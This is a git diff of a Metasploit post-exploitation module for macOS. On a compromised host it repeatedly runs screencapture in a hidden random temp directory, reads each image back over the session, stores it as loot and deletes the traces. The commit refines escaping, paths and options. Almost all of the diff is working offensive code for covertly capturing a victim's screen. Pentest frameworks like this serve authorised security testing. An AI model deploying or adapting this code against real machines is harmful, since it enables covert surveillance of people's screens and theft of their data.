General improvements addressing feedback
parent
b722fee15c
commit
779cb48b76
|
@ -31,33 +31,46 @@ class Metasploit3 < Msf::Post
|
|||
OptEnum.new('SNAP_FILETYPE',
|
||||
[true, 'File format to use when saving a snapshot', 'png', %w(png gif)]
|
||||
),
|
||||
OptInt.new('DELAY', [false, 'Interval between screenshots in seconds. 0 for no delay', 10]),
|
||||
OptInt.new('COUNT', [false, 'Number of screenshots to collect. 0 for for no count', 1]),
|
||||
OptString.new('LATEST_FILE', [false, 'Path to local file which will point to the latest downloaded screenshot', ''])
|
||||
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds. 0 for no delay', 10]),
|
||||
OptInt.new('COUNT', [true, 'Number of screenshots to collect. 0 for no count', 1]),
|
||||
OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/random']),
|
||||
OptString.new('EXE_PATH', [true, 'Path to remote screencapture program', '/usr/sbin/screencapture'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['COUNT'] == nil || datastore['COUNT'] == 0
|
||||
tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
|
||||
execute("Create remote temp dir: ", "mkdir -p " + tmp_path)
|
||||
if datastore['COUNT'] == nil
|
||||
count = 1
|
||||
else
|
||||
count = datastore['COUNT']
|
||||
end
|
||||
if count == 0
|
||||
begin
|
||||
get_screenshot("Screenshot")
|
||||
get_screenshot("Screenshot", tmp_path)
|
||||
delay()
|
||||
end until false
|
||||
else
|
||||
count = datastore['COUNT']
|
||||
count.times do |num|
|
||||
get_screenshot("Screenshot " + (num+1).to_s() + "/#{count}")
|
||||
if count == 1
|
||||
msg = "Screenshot"
|
||||
else
|
||||
msg = "Screenshot " + (num+1).to_s() + "/#{count}"
|
||||
end
|
||||
get_screenshot(msg, tmp_path)
|
||||
delay() unless ((num+1) == count)
|
||||
end
|
||||
end
|
||||
execute("Remove remote temp dir: ", "rmdir " + tmp_path)
|
||||
end
|
||||
|
||||
def get_screenshot(msg)
|
||||
def get_screenshot(msg, tmp_path)
|
||||
filename = Rex::Text.rand_text_alpha(7) + "." + datastore['SNAP_FILETYPE']
|
||||
file = Dir::tmpdir + "/" + filename
|
||||
file = tmp_path + "/" + filename
|
||||
|
||||
execute("Save screenshot to remote temp folder:", "screencapture -C -t " + datastore['SNAP_FILETYPE'] + " " + file)
|
||||
execute("Save screenshot to remote temp folder:", datastore['EXE_PATH'].shellescape + " -C -t " + datastore['SNAP_FILETYPE'].shellescape + " " + file)
|
||||
data = cat_file(file)
|
||||
loot_file = save(msg, data, filename)
|
||||
execute("Remove remote temp file:", "rm " + file)
|
||||
|
@ -74,10 +87,6 @@ class Metasploit3 < Msf::Post
|
|||
ltype = "osx.screenshot"
|
||||
loot_file = store_loot(ltype, ctype, session, data, filename, msg)
|
||||
print_good("#{msg} stored in #{loot_file.to_s}")
|
||||
if datastore['LATEST_FILE'] != ''
|
||||
print_status("Updated #{datastore['LATEST_FILE']}")
|
||||
FileUtils.cp(loot_file.to_s(), datastore['LATEST_FILE'])
|
||||
end
|
||||
end
|
||||
|
||||
def execute(msg, cmd)
|
||||
|
|
Loading…
Reference in New Issue